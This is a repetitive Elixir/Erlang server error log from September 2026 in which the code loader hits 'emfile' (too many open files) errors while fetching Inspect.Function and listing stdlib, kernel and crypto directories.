[Sun Sep  6 00:59:43.172000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.172000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.172000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.172000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.172000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.172000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.173000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.176000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.176000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.176000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.176000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.176000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.177000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.177000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.177000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.177000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.178000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.178000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.178000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.178000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.178000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.178000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.178000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.181000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.181000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.181000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.181000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.181000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.181000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.181000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.181000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.188000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.188000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.188000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.188000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.188000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.189000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.189000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.189000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.191000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.191000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.191000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.191000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.192000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.192000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.192000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.192000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.193000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.193000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.194000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.194000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.194000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.195000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.195000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.195000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.197000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.198000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.198000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.198000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.198000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.198000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.198000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.198000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.200000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.200000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.200000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.200000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.201000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.201000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.201000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.201000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.202000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.202000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.202000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.202000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.202000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.202000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.202000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.203000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.205000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.205000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.206000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.206000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.206000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.206000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.206000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.206000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.207000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.207000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.207000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.208000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.208000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.208000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.208000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.208000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.209000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.209000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.209000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.209000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.209000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.209000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.209000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.210000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.213000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.213000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.214000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.214000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.214000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:43.214000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.214000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:43.214000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
